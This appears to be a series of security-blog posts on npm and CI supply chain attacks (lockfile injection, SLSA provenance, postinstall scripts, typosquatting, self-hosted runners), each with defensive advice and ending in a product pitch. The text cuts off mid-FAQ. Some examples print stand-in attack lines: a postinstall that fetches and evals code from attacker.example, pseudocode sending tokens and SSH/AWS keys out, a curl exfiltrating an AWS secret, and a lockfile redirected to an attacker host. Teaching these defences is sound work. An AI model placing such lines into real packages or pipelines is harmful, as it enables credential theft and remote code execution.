Author: UnboundCompute

  • Lockfile Injection Explained

    Lockfile Injection Explained

    A lockfile is supposed to make installs boring and repeatable. It pins the exact version of every dependency, the URL each one was downloaded from, and a hash that proves the bytes did not change. A lockfile injection abuses that promise: an attacker edits the lockfile in a pull request so an install pulls attacker content, while the manifest a reviewer actually reads still looks completely normal.

    What a lockfile really guarantees

    In the npm world you have two files. package.json is the manifest you write by hand. It lists the packages you want and the version ranges you accept, like "express": "^4.18.0". That caret means “any 4.x above 4.18.0”, which is a range, not a fixed choice.

    The lockfile, package-lock.json, is the resolved answer to that range. It records the one version that got installed, the registry URL the tarball came from, and an integrity hash of that tarball. Here is a single dependency as it appears in a lockfile:

    "node_modules/left-pad": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
      "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA==",
      "license": "WTFPL"
    }

    When your teammate, your CI runner, and your production build all install from this file, they all fetch the same bytes from the same place. That is the point. The manifest says what you want; the lockfile says exactly what you got.

    How lockfile injection turns that against you

    The trick is that reviewers read the manifest and skim the lockfile. A change to package.json is short and human. Adding a dependency is one line, and everybody looks at it. The lockfile is thousands of lines of machine generated JSON, and a real install rewrites big chunks of it for reasons nobody wants to trace. So a pull request that touches both files gets a careful read on the manifest and a tired scroll past the lock.

    An attacker who can open a pull request exploits exactly that gap. They leave the manifest untouched, or make one innocent looking edit, and change the resolved field deep inside the lockfile to point at a source they control. The visible dependency name and version stay the same. Only the download location moves.

    Here is the before and after of one entry. The version string does not change. The resolved URL does:

    // before
    "node_modules/left-pad": {
      "version": "1.3.0",
      "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
      "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA=="
    }
    
    // after
    "node_modules/left-pad": {
      "version": "1.3.0",
      "resolved": "https://registry.internal-cdn-mirror.example/left-pad/-/left-pad-1.3.0.tgz",
      "integrity": "sha512-9tqA0Fake0HashThatMatchesTheAttackerTarballNotTheRealOneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
    }

    Read the two blocks. The name is left-pad. The version is 1.3.0. Anyone checking “did they bump a dependency” sees no bump. But the install now fetches the tarball from registry.internal-cdn-mirror.example, a host the attacker set up, and the integrity hash was rewritten to match the attacker tarball so the check still passes. The package that runs in your build is not the one on the public registry.

    Why the danger hides in resolved and integrity

    Two fields do all the work here, and they are the two nobody reads closely.

    • resolved is the actual download URL. Change it and you change where the bytes come from without touching the name a human recognizes.
    • integrity is the hash that is supposed to catch tampering. But the hash only proves the tarball matches the value written next to it. If the attacker controls both the tarball and the hash in the same edit, the check confirms their file, not the real one.

    That is the part people get wrong about integrity hashes. They stop a bit flip in transit. They do not stop an author who rewrites the hash and the URL together in one commit. The hash is only as trustworthy as the review of the line it sits on.

    An integrity hash proves the download matches the lockfile. It does not prove the lockfile matches what you meant to install.

    Once a malicious package is installed, it usually does its work through an install script. That is the same mechanism covered in our writeup on malicious npm lifecycle scripts, where a postinstall hook runs attacker code the moment the package lands. Lockfile injection is one clean way to get that package onto the machine in the first place.

    A concrete review failure

    Picture a pull request titled “bump lint config”. The manifest diff is one line: a patch bump to a dev dependency. Looks safe, approve it. Buried 400 lines down in the lockfile, one transitive dependency had its resolved URL swung to an attacker host and its integrity rewritten. The reviewer approved the title and the manifest. The build installed a backdoored package on the next CI run. Nobody typed a malicious version number, so no version check caught it. This is close cousin to a dependency confusion attack, except here the swap happens inside a file you already trust rather than through a name the resolver guesses wrong.

    How to defend against lockfile injection

    The defenses are not exotic. They are mostly about treating the lockfile as security relevant code, not as noise.

    • Read lockfile diffs on purpose. Do not scroll past them. In a legitimate change the resolved hosts should all point at your expected registry. A single entry pointing somewhere else is the whole attack.
    • Pin the registry and verify hashes. Set your registry explicitly and install with npm ci, which installs strictly from the lockfile and fails if the manifest and lock disagree. Verifying integrity is only meaningful when the hash was reviewed, not just when it matches.
    • Use a private registry as the single source. When every package flows through one internal registry, any resolved URL that points off that host is obviously wrong and easy to flag.
    • Restrict who can change the lockfile. Put package-lock.json behind a code owners rule so a real maintainer has to approve any edit to it.
    • Automate the check. Add a CI step that parses the lockfile and fails the build if any resolved URL points off your expected registry domain. A machine reads all 3000 lines without getting tired, which is exactly the weakness the attacker relied on.

    The strongest long term answer is being able to trace an installed artifact back to a build you trust. That is what signed provenance is for, and we cover it in build provenance and SLSA. If you can prove the tarball you installed came from the source you expect, a rewritten resolved URL has nowhere to hide.

    Where this fits

    Lockfile injection works because a file built for trust is too big and too dull to read, and review habits lean on the small human file next to it. The fix is to stop trusting the lockfile by default and start checking the two fields that decide where your code comes from. For more supply chain teardowns like this one, browse our deep dives. This is the kind of quiet, assumption breaking bug that an autonomous researcher which tests what an app and its build actually trust is built to surface, and you can read how we think about that on our about page.

    Frequently asked questions

    What is lockfile injection?

    Lockfile injection is a supply chain attack where someone edits a lockfile like package-lock.json in a pull request to change the resolved download URL of a dependency to a source they control. The package name and version stay the same, so a reviewer reading the manifest sees nothing wrong, but the install fetches attacker content instead of the real package.

    Why do integrity hashes not stop lockfile injection?

    An integrity hash only proves the downloaded tarball matches the hash written next to it in the lockfile. If an attacker rewrites the resolved URL and the integrity hash together in the same commit, the check passes against their malicious tarball. The hash catches tampering in transit, not an author who changes both fields at once, so it is only as trustworthy as the review of that line.

    How is lockfile injection different from dependency confusion?

    In a dependency confusion attack the resolver is tricked into pulling a package from the wrong place because of how it picks between a public and a private name. In lockfile injection the swap happens inside a file you already trust and check into your repo. Nobody changes a version number or a package name, so version based checks do not catch it.

    How do you defend against lockfile injection?

    Read lockfile diffs carefully and confirm every resolved URL points at your expected registry, install with npm ci so the lock and manifest must agree, route packages through a single private registry, put the lockfile behind a code owners rule, and add a CI check that fails the build if any resolved URL points off your registry domain. Signed build provenance makes it even harder by tying an artifact back to a build you trust.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Build Provenance and SLSA Explained

    Build Provenance and SLSA Explained

    When you download a binary, a container image, or an npm package, you are trusting that it was built from the source code you think it was. Build provenance is the signed, verifiable record that lets you check that trust instead of assuming it. This post explains what provenance is, why it matters for supply chain security, and how the SLSA framework grades how hard a build is to fake.

    What build provenance actually is

    Build provenance is metadata that describes where an artifact came from and how it was made. It answers plain questions: which source commit produced this file, which build system ran, which steps executed, and what inputs went in. The record is signed by the builder, so a consumer can verify it was not edited after the fact.

    Think of it as a receipt attached to the artifact. A published package on its own says nothing about its own history. You see a name, a version, and a hash. None of that tells you the file was really built from the tagged commit in the real repository. Provenance fills that gap with a statement the builder signs, so the claim can be checked by anyone who holds the artifact.

    A provenance statement usually carries these fields:

    • The subject: the artifact name and a cryptographic digest, so the statement is bound to one exact file.
    • The source: the repository URL and the commit that was checked out.
    • The builder: which build system produced the artifact, named by identity, not by a label anyone can type.
    • The build steps: the entry point, parameters, and inputs the build consumed.

    Why build provenance matters for supply chain security

    Without provenance, you trust a published artifact on faith. You pull it because it has the right name and version, and you assume the pipeline that made it did the honest thing. That assumption is exactly where supply chain attacks live.

    Two things can go wrong that a name and a hash will never reveal. First, a build step can be compromised, so the source is clean but the output is not. A malicious dependency runs during the build, or an attacker with access to the build system injects code into the artifact. The commit looks fine; the binary does not match it. Second, the artifact can be swapped after the build, replaced in a registry or a mirror with a tampered copy that keeps the same version string.

    Provenance catches both. If the signed statement says the artifact was built from commit a1b2c3d by the expected builder, and the file you hold has a different digest or points at a fork you have never heard of, the check fails before you deploy. This is the same class of risk covered in our writeups on malicious npm lifecycle scripts and npm lockfile injection, where the danger is code that runs during install or build rather than in the app itself.

    A hash proves two files are identical. Provenance proves one file came from the source and the builder you expected. You need both to trust what you deploy.

    SLSA: grading how hard a build is to fake

    SLSA (Supply chain Levels for Software Artifacts) is a framework that describes build integrity in levels. Each level adds a stronger guarantee about how the artifact was produced and how trustworthy its provenance is. You do not have to hit the top level to benefit; the point is to know where you stand and to climb.

    In plain terms the levels read like this:

    • Level 0: no guarantees. There is no provenance at all. You trust the artifact because it showed up.
    • Level 1: the build produces provenance describing how it was made. It is not yet resistant to tampering, but the history exists and can be read.
    • Level 2: the build runs on a hosted service and signs the provenance, so casual tampering is caught. The signature ties the statement to a real builder.
    • Level 3: the build is hardened and isolated so the provenance is very hard to forge. The steps that generate it are protected from the code being built, which makes the statement non falsifiable in practice.

    The climb from level 0 to level 3 is a climb from “trust me” to “here is a signed record you can verify without trusting me.” That progression is the whole idea. A single number gives teams a shared way to say how much a build can be believed.

    A concrete example: verifying provenance before you deploy

    Say your service depends on a package called acme-parser at version 2.4.0. You expect it to be built from the repository github.com/acme/parser. Before you promote the release, you fetch the artifact and its provenance and check them together.

    $ slsa-verifier verify-artifact acme-parser-2.4.0.tgz \
        --provenance-path acme-parser-2.4.0.intoto.jsonl \
        --source-uri github.com/acme/parser \
        --source-tag v2.4.0
    
    Verifying artifact acme-parser-2.4.0.tgz: PASSED
    - source: github.com/acme/parser@refs/tags/v2.4.0
    - commit: a1b2c3d4e5f6...
    - builder: github.com/acme/parser/.github/workflows/release.yml

    The verifier does three things. It confirms the artifact digest matches the subject in the signed statement, so the file was not swapped. It confirms the source URI is the repository you named, so the build did not come from a fork. And it confirms the signature is from a builder you trust. If an attacker republishes a tampered 2.4.0 built from github.com/evil/parser, the --source-uri check fails and the deploy stops. Nothing about that catch depends on you reading the code; the record either matches your expectation or it does not.

    How an SBOM fits alongside provenance

    An SBOM (Software Bill of Materials) is the related idea. Where provenance says where the artifact came from, an SBOM says what is inside it: a list of the components and dependencies the artifact contains, with their versions. It is an ingredient label for software.

    The two work together. Provenance tells you the artifact really came from the expected source and build. The SBOM then lets you ask what that trusted artifact is made of, so when a new flaw lands in a library you can look up whether you shipped it. Provenance answers “can I trust this build,” and the SBOM answers “given I trust it, what did I just pull in.” Neither replaces the other.

    Putting it into practice

    Adopting provenance is three habits, not one big project.

    • Generate provenance in the pipeline. Have the build system emit a signed statement for every artifact it produces, so the receipt exists by default rather than as an afterthought.
    • Verify it before deploy. Make the verification a gate. If the source URI, commit, or builder does not match what you expect, the release does not go out. A record no one checks protects nothing.
    • Pin and record dependencies. Lock the exact versions and digests your build consumes and keep that record, so the inputs to your build are as verifiable as the output. This is the same discipline that keeps a CI/CD pipeline honest end to end.

    Consider a team that generates provenance but never gates on it. An attacker swaps a dependency during the build, the artifact ships, and the signed statement sits in a bucket that no deploy step reads. The provenance was correct and useless, because verification was optional. The record only helps when something acts on a failed check.

    Build provenance turns “I hope this is the real artifact” into “I can prove it, or I refuse to deploy.” That shift from faith to a checkable record is how you keep a compromised build step or a swapped artifact from slipping through unnoticed. For more on how attacks move through the build and delivery path, read our deep dives.

    UnboundCompute is an autonomous security researcher that tests the assumptions an application makes, and a supply chain that ships unverified artifacts is one more assumption worth checking before an attacker does. Learn how we think about it on our about page.

    Frequently asked questions

    What is build provenance?

    Build provenance is signed, verifiable metadata attached to an artifact that records where it came from: which source commit produced it, which build system ran, and which steps executed. Because the builder signs it, a consumer can check that a binary was really built from the expected source and was not tampered with, instead of trusting a name and a version on faith.

    How is provenance different from a checksum or hash?

    A hash only proves two files are byte for byte identical. It says nothing about where the file came from. Provenance ties the artifact digest to a source commit, a builder identity, and the build steps, all signed. You need both: the hash to confirm the exact file, and provenance to confirm it came from the source and builder you expected.

    What are the SLSA levels in plain terms?

    SLSA grades build integrity in levels. Level 0 gives no guarantees and no provenance. Level 1 produces provenance that describes the build but is not tamper resistant. Level 2 runs on a hosted service and signs the provenance so casual tampering is caught. Level 3 hardens and isolates the build so the provenance is very hard to forge. The climb goes from trust me to a signed record anyone can verify.

    How do build provenance and an SBOM work together?

    Provenance says where an artifact came from and how it was built. An SBOM, or Software Bill of Materials, lists what is inside the artifact: its components and their versions. Provenance answers whether you can trust the build, and the SBOM answers what that trusted build contains, so you can look up whether you shipped a newly disclosed vulnerable library. Neither replaces the other.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • How Malicious npm Lifecycle Scripts Work

    How Malicious npm Lifecycle Scripts Work

    When you run npm install, you probably think nothing runs until you write require or import in your own code. That is not true. Through npm lifecycle scripts, a dependency can run arbitrary code on your machine the moment it is installed, before you ever load a single line of it. This post explains how those scripts work, why the blast radius is so wide, and how to install packages without handing a stranger a shell.

    What npm lifecycle scripts are

    Every npm package can declare scripts in its package.json that npm runs automatically at set points in the install process. The ones that matter for security are the install hooks:

    • preinstall runs before the package is installed.
    • install runs during installation.
    • postinstall runs right after the package lands on disk.

    These hooks exist for good reasons. A package that wraps a native library might need to compile C code for your platform. A tool might need to download a matching binary. The trouble is that npm cannot tell a legitimate build step from a payload. To npm, both are just a shell command it was told to run.

    A concrete example: postinstall in package.json

    Here is a tiny package that does nothing but greet you when it installs. The script is harmless on purpose. Read it and imagine what a real attacker would put in its place.

    {
      "name": "left-pad-helper",
      "version": "1.0.0",
      "scripts": {
        "postinstall": "node greet.js"
      }
    }

    And greet.js:

    console.log("Thanks for installing left-pad-helper!");

    Add this package to a project, run npm install, and that message prints. No import, no call from your code. The postinstall hook fired on its own. Now swap the console.log line for code that reads your environment variables and posts them to a server the attacker controls, and you have the shape of a real supply chain attack. The install command did not change. The behavior did.

    An attacker does not even need to write the payload inline. The script can pull down a second stage:

    {
      "scripts": {
        "postinstall": "node -e \"fetch('https://attacker.example/s').then(r=>r.text()).then(eval)\""
      }
    }

    That keeps the published package clean looking while the real code arrives at install time from somewhere else. The registry entry can look boring right up to the second it runs.

    Why the blast radius is so wide

    The reason this matters is not the script itself. It is what the script can touch. A lifecycle script runs with your user permissions, in your shell environment, with full network access. It is not sandboxed. It can do anything you can do from a terminal.

    Think about where npm install runs. On a developer laptop, that environment holds SSH keys, cloud credential files, browser session tokens, and whatever secrets you have exported for local work. On a CI runner, it is often worse. Continuous integration jobs frequently hold deploy keys, registry tokens, and cloud roles with permission to ship to production. A single postinstall on a build agent can read all of it.

    The dangerous moment is not when you use a dependency. It is when you install one.

    Here is a realistic sketch of what a malicious hook reaches for on a CI runner:

    # pseudocode of a real payload, do not run
    tokens = read_env()          # AWS_*, NPM_TOKEN, GITHUB_TOKEN
    keys   = read_files("~/.ssh", "~/.aws")
    post("https://attacker.example/collect", tokens + keys)

    None of that requires a clever exploit. Environment variables and dotfiles are plain reads for the user running the job. The script simply asks the operating system for them and sends the answer out over the network that npm already needed open to fetch packages.

    How the malicious package reaches you

    A dangerous postinstall is only useful to an attacker if you install the package. Two delivery tricks do most of the work.

    Typosquatting

    An attacker publishes a package with a name one keystroke away from a popular one. You mean to install react-dom and type reactdom, or you copy a name with a swapped letter from a blog post. The typo package carries the install hook. We cover this in depth in our writeup on the typosquatting package attack.

    Dependency confusion

    If your company uses private package names, an attacker can publish a package with the same name on the public registry at a higher version number. Some install setups will prefer the public one and pull the attacker’s code instead of yours. The lifecycle script runs the moment that swap happens. Our dependency confusion attack post walks through the mechanics.

    Both tricks share a goal. Get their package name onto a machine that runs npm install, and let a lifecycle script do the rest.

    Defending against malicious npm lifecycle scripts

    You cannot inspect every line of every transitive dependency. So the defense is layered. No single step is enough, but together they shrink the window an attacker has.

    • Install with scripts turned off where you can. The flag npm install --ignore-scripts skips lifecycle hooks entirely. You can also set it as a default in .npmrc with ignore-scripts=true. Some native packages will need a manual build step afterward, so test this per project, but for most application code it just works.
    • Pin versions with a lockfile. Commit your package-lock.json and install with npm ci in automation. That way a build installs the exact versions you reviewed, not whatever the registry serves today. A surprise new version cannot slip a fresh postinstall into a build behind your back.
    • Vet dependencies before adding them. Check the download counts, the publish date, the repository link, and whether the package even declares install scripts. A brand new package with a postinstall and ten downloads deserves a second look.
    • Use isolated build environments. Run installs in a container or an ephemeral CI job that holds only the secrets that job needs, and destroys itself after. If a script does fire, it finds an empty room instead of your production keys.
    • Prefer packages that do not need install scripts. A pure JavaScript library with no build step is a smaller target than one that compiles native code on install. Fewer moving parts means fewer places for a payload to hide.

    One more habit helps: know where your artifacts came from. If you can trace a built package back to the exact source commit and build that produced it, a swapped or tampered dependency is easier to catch. Our post on build provenance and SLSA covers that idea.

    Putting it together

    Say a teammate adds a logging helper to a service. The name looks right, the readme is polished, and CI is green. What no one noticed is a postinstall that reads process.env on the build runner and ships the deploy token to a remote host. The service builds fine. The attacker now has the token. Nothing in the running app ever hinted at the theft, because the theft happened at install time, on the build machine, days before anyone read the code. That is the exact gap install hooks open, and it is why the defenses above focus on the install step rather than the runtime.

    Finding logic gaps like this, where the danger sits in an assumption everyone trusted rather than in an obvious bad payload, is the kind of problem UnboundCompute is being built to reason about. To read more about that approach, see our deep dives or our about page.

    Frequently asked questions

    What are npm lifecycle scripts?

    They are commands a package declares in its package.json that npm runs automatically at set points during install, such as preinstall, install, and postinstall. They exist for legitimate build steps like compiling native code, but npm cannot tell a real build step from a malicious payload, so both run the same way.

    Can an npm package run code when you install it, before you import it?

    Yes. A postinstall script runs the moment the package lands on disk, with no import or call from your code. That is why a malicious dependency is dangerous at install time, not just at runtime, and why the danger reaches build machines that never actually run the app.

    How do I stop npm install scripts from running?

    Install with npm install --ignore-scripts, or set ignore-scripts=true in your .npmrc to make it the default. Some native packages need a manual build step afterward, so test it per project. Combine it with a committed lockfile and npm ci so builds only install versions you have reviewed.

    How do attackers get you to install a malicious npm package?

    The two common tricks are typosquatting, where a package name sits one keystroke away from a popular one, and dependency confusion, where a public package shares the name of your private one at a higher version number. Both aim to get their package name onto a machine that runs npm install, then let a lifecycle script do the rest.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Typosquatting Package Attacks Explained

    Typosquatting Package Attacks Explained

    A typosquatting attack is one of the cheapest tricks in the software supply chain. An attacker publishes a package whose name is a near miss of a popular one, then waits for a developer to mistype the install command and pull the malicious copy instead. This post explains how the trick works in package registries, what the fake package does once it lands, how it differs from two lookalike attacks, and how to defend your builds.

    How a typosquatting attack works

    Package registries like npm, PyPI, and RubyGems let anyone publish a package under almost any unused name. That openness is the whole point, and it is also the opening. An attacker studies which packages are downloaded millions of times, then registers a name that sits one keystroke away from the real one.

    The near miss usually takes one of these shapes:

    • A swapped or doubled letter. The real package is reqwest-client and the fake is reqewst-client.
    • A missing character. The real one is colorstream and the fake is colorstram.
    • A - swapped for a _. The real one is data_loader and the fake is data-loader.
    • A common misspelling. The real one is serialize-fast and the fake is serialise-fast.

    Say your project depends on a real, popular package called fastparse. You are typing quickly and run this:

    npm install fatsparse

    If an attacker has already registered fatsparse, your build just downloaded their code and ran whatever they told it to run. No exploit, no clever payload delivery. You typed it in yourself.

    What the malicious package does once installed

    Getting the package onto the machine is only step one. The attacker still needs their code to run. In most registries the fastest way is an install hook. npm packages can declare lifecycle scripts in package.json, and a postinstall script runs automatically the moment the package is installed.

    {
      "name": "fatsparse",
      "version": "1.0.0",
      "scripts": {
        "postinstall": "node ./collect.js"
      }
    }

    That single line is enough. When collect.js runs, it has the same access your terminal does. A real attack script tends to do a few quiet things at once:

    • Read environment variables and files that hold tokens, such as .npmrc, .env, or cloud credentials on disk.
    • Send them to a server the attacker controls, often inside a normal looking HTTPS request so it blends in with other traffic.
    • Print the expected output so the install looks ordinary and nobody stops to read it.

    Because the code runs during install, it fires on a laptop, on a build server, and inside continuous integration. A stolen token from a build pipeline is often worth far more than one from a single developer, since it can push new releases or reach production systems. For a closer look at how these hooks are abused, read our teardown on malicious npm lifecycle scripts.

    The typosquatter does not break into anything. They register a name, wait for a typo, and let your own install command do the rest.

    Typosquatting is not dependency confusion, and not slopsquatting

    Three supply chain tricks get lumped together. They share a goal, tricking you into installing attacker code, but the mechanism is different for each, and the defense differs too.

    Dependency confusion

    Dependency confusion targets companies that publish private internal packages. Suppose your team has a private package named acme-internal-auth that only exists on your registry. An attacker registers that exact name on the public registry with a higher version number. When your installer resolves the package, it sees the public version, decides it is newer, and pulls the attacker copy instead of yours. The name is not a typo. It is identical. What the attacker abuses is your resolver picking the wrong source. We cover the fix in detail in dependency confusion attack.

    Slopsquatting

    Slopsquatting is newer and rides on AI coding tools. When you ask a model for code, it sometimes invents a package name that does not exist, stated with full confidence. An attacker watches for these hallucinated names, registers the popular ones, and fills them with malicious code. The next developer who trusts the AI suggestion and runs pip install on the invented name gets the attacker package. Here nobody made a typo and no private name was shadowed. The bad name came from the model. We go deeper in slopsquatting attack.

    The short way to keep them straight: typosquatting exploits your fingers, dependency confusion exploits your resolver, and slopsquatting exploits your AI assistant.

    How to defend against a typosquatting attack

    No single control stops every case, so layer a few. Each one closes a different gap.

    Pin exact versions and commit a lockfile

    A lockfile records the exact version and content hash of every package your project resolved. When a teammate or a build server installs, it verifies each package against that hash. If a name resolves to something different, the install fails instead of running new code. Commit package-lock.json, yarn.lock, poetry.lock, or your ecosystem’s equivalent, and treat any change to it as something to review, not to rubber stamp.

    Read the name before you install

    Most typosquats die if someone reads the name slowly. Before adding a dependency, check the spelling against the official docs or the project’s own repository. Copy the exact name from a trusted source rather than typing it from memory. When you paste an install command from a blog post or a chat, look at every character in the package name.

    Use a private registry or an allowlist

    A private registry or proxy sits between your builds and the public one. You approve packages once, and only approved names install. A new name that nobody vetted cannot enter the build at all, which stops both a fresh typosquat and a dependency confusion push. For smaller teams, even a written allowlist of approved packages, checked in code review, raises the bar.

    Review every new dependency

    Treat adding a dependency like merging code, because that is what it is. In code review, ask a few questions about any new name. How old is the package? How many other projects use it? Does it declare an install script, and if so, what does it do? A package published last week with almost no downloads, a name one letter off a famous one, and a postinstall hook is a stack of warning signs.

    Scan for lookalikes

    The signals above can be checked automatically. Good scanning flags a dependency that is brand new, has low reputation, declares install scripts, and closely resembles the name of a far more popular package. Any one of those can be innocent. Together they are the exact shape of a typosquat, and a scanner that reasons about the combination catches it before it reaches your lockfile. Browse more of these breakdowns in our deep dives.

    A worked example, start to finish

    Put it together with an invented case. A team uses a real, popular logging package called quicklog. An attacker registers qucklog, copies the real package’s code so it works normally, and adds a postinstall script that reads .npmrc and posts the auth token to their server. A developer, moving fast, runs npm install qucklog. The install prints the usual lines and the app still works, so nothing looks wrong. In the background, the token is gone. With a committed lockfile and a review step, that install never happens. The name mismatch is caught in review, or the missing hash stops the install, or the private registry refuses the unknown name. Defense in depth is what turns a one keystroke mistake into a non event.

    This class of attack survives because it hides inside a normal action and never triggers a classic alarm. That is the kind of assumption an attacker abuses, and testing those assumptions is the work UnboundCompute is built to do. Read how we think about it on our about page.

    Frequently asked questions

    What is a typosquatting attack in package registries?

    It is when an attacker publishes a package whose name is a near miss of a popular one, such as a swapped letter, a missing character, or a hyphen where the real name uses an underscore. When a developer mistypes the install command, the registry serves the attacker copy, which usually runs code on install to steal tokens or credentials.

    How is typosquatting different from dependency confusion?

    Typosquatting relies on a typo: the fake name is a misspelling of a real public package. Dependency confusion uses an identical name to a private internal package, published to the public registry with a higher version number so your resolver picks the public attacker copy over your private one. One exploits your fingers, the other exploits your resolver.

    What does a malicious typosquatted package actually do?

    Most rely on an install hook, such as an npm postinstall script, that runs automatically during installation. The script reads environment variables and files like .npmrc or .env, sends any tokens it finds to the attacker, and prints normal looking output so the install seems fine. Because it runs on build servers too, it can steal pipeline credentials.

    How do I protect my project from typosquatting?

    Layer a few controls: commit a lockfile so installs verify each package by content hash, copy package names from official docs instead of typing them, use a private registry or allowlist so only approved names install, review every new dependency in code review, and scan for a brand new low reputation package that closely resembles a popular name and declares install scripts.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Self-Hosted CI Runner Security Explained

    Self-Hosted CI Runner Security Explained

    A self-hosted CI runner is a machine you own that runs your build and test jobs instead of a runner the CI provider spins up and throws away. It gives you faster builds, bigger disks, and access to internal services, but it also changes your risk in ways teams often miss. This post explains self-hosted runner security in plain terms: why one of these runners is risky, how a single job can poison the next one, and how to run one without handing an attacker the keys to your network.

    Why self-hosted runner security is different

    A hosted runner from your CI provider is born clean and destroyed after the job. Nothing survives. A self-hosted runner is the opposite by default. It is a long lived machine that keeps state between jobs, sits inside your network, and often holds credentials so your builds can reach real systems. Each of those traits is useful. Each is also a way in.

    There are four problems worth naming clearly.

    • State carries over. A persistent runner keeps files, caches, and environment changes from one job to the next, so one job can leave something behind that the next job trusts.
    • Fork pull requests can reach it. On a public repository, a pull request from a stranger’s fork can run code on your runner if you let it.
    • It lives in a trusted spot. The runner usually sits inside a network that other systems trust, so a compromise pivots inward instead of stopping at the box.
    • It carries credentials. If the runner has broad cloud access, every job it runs gets that access too.

    How one job poisons the next

    The core danger of a persistent runner is that jobs are not isolated in time. Job A finishes, job B starts on the same machine, and anything job A wrote is still there. If job B reads a file, a cache, or a tool that job A could edit, then job A gets to influence job B.

    Here is a small example. Imagine a runner where an early job builds a helper script and a later job runs it.

    # Job A (runs first, maybe from a less trusted branch)
    echo 'echo "leak $AWS_SECRET_ACCESS_KEY" | curl -d @- https://attacker.example' >> /opt/ci/tools/deploy.sh
    
    # Job B (runs later, trusted, has real credentials)
    bash /opt/ci/tools/deploy.sh

    Job A never needed any secret of its own. It only had to write to a path that job B would later trust. When job B runs with the real deploy credentials, the line job A appended runs too, and the secret walks out the door. The same trick works with a poisoned cache, a modified compiler in the PATH, or a leftover config file. The runner remembers, and memory is the weakness.

    A persistent runner turns every earlier job into a possible attacker of every later job, because the machine never forgets what the last job did.

    Fork pull requests and public repositories

    The second problem turns a random person on the internet into a job on your machine. When your repository is public, anyone can open a pull request from their own fork. If your workflow runs on pull_request and that workflow uses a self-hosted runner, a stranger’s code can run on your hardware.

    Think about what their job can do. It runs shell commands as your CI user. It can read the files a previous job left behind. It can reach whatever the network lets the runner reach. It can sit quietly and wait for a trusted job to write something it can poison. This is the classic setup behind poisoned pipeline execution, where attacker controlled workflow input turns into code running inside your build. A hosted runner would limit the blast radius to one throwaway box. A persistent self-hosted runner does not.

    The safe rule is short: never let untrusted pull requests run on a self-hosted runner. Keep fork builds on ephemeral hosted runners with no secrets, and gate anything sensitive behind a manual approval or a trusted branch.

    The runner sits in a trusted network

    People put runners on self-hosted machines partly to reach internal things: a private package registry, a staging database, an internal API. That reach is the point, and it is also the danger. Once someone runs code on the runner, they inherit that reach. From the outside your network looks closed. From the runner it looks open.

    Picture a runner that can talk to the staging database so integration tests work. An attacker who lands a job on that runner does not stop at the runner. They open a connection to staging, dump what they can, and probe the next host that trusts the runner’s address. The compromise moves inward, one trusted link at a time. This is why CI/CD pipeline security treats the runner as a doorway into the network, not as a sealed box off to the side.

    Broad credentials get handed to every job

    A runner often holds cloud credentials so builds can push images or deploy. If those credentials are wide, for example an admin role instead of a narrow deploy role, then every job that runs on the runner can use them. The job does not need to steal a password. The credential is already in the environment or on an instance role, waiting to be read.

    So a job that should only build a container can, if it wants to, delete a bucket or read every secret in the account. The fix is least privilege: give the runner only the specific permissions the pipeline truly needs, and split the wide, dangerous permissions onto a separate path with its own approval. For the platform specific version of this on GitHub, see our notes on GitHub Actions security.

    How to run a self-hosted runner safely

    You do not have to give up self-hosted runners. You have to remove the traits that make them dangerous. The theme is simple: start every job from a clean state, keep untrusted code away from real access, and shrink the reach of any job that does run.

    • Use ephemeral runners. Register a fresh runner for one job, then destroy it. A container or virtual machine that resets each time kills the “one job poisons the next” problem at the root, because there is no next job on the same disk.
    • Keep untrusted pull requests off self-hosted runners. Fork builds run on disposable hosted runners with no secrets. Require approval before any workflow with real access runs on your hardware.
    • Isolate the network. Put the runner in its own segment with an allow list of what it may reach. If it does not need the staging database, it should not be able to open a socket to it.
    • Give least privilege. Scope the runner’s cloud role to the exact actions the build needs. Prefer short lived tokens minted per job over long lived keys sitting on the box.
    • Separate sensitive workloads. Do not run deploys and untrusted test builds on the same pool. Keep the runner that holds production access on its own isolated pool that untrusted code can never touch.

    Put together, these turn the runner back into something closer to a hosted one: clean each time, walled off, and holding only what one job truly needs. For more teardowns of how build systems get abused, browse our deep dives.

    Most self-hosted runner incidents are not exotic. They come from a build trusting something an earlier job was allowed to change, or from an outsider being handed a shell on a machine that could reach too much. Reasoning about those assumptions, what one job silently trusts about the last, is exactly the kind of question an autonomous security researcher is built to ask. Read how we think about it on our about page.

    Frequently asked questions

    What is a self-hosted CI runner?

    A self-hosted CI runner is a machine you own and manage that runs your build and test jobs, instead of a fresh runner the CI provider creates and destroys for each job. It gives you faster builds, bigger disks, and access to internal services, but because it is long lived and keeps state between jobs, it carries more risk than a disposable hosted runner.

    Why is a self-hosted runner a security risk?

    It keeps files, caches, and tool changes between jobs, so one job can leave something behind that a later trusted job runs. It usually sits inside a network other systems trust, so a compromise pivots inward. And it often holds cloud credentials that every job on it inherits. On a public repository, a pull request from a stranger’s fork can run code on it too.

    How does one CI job poison the next one?

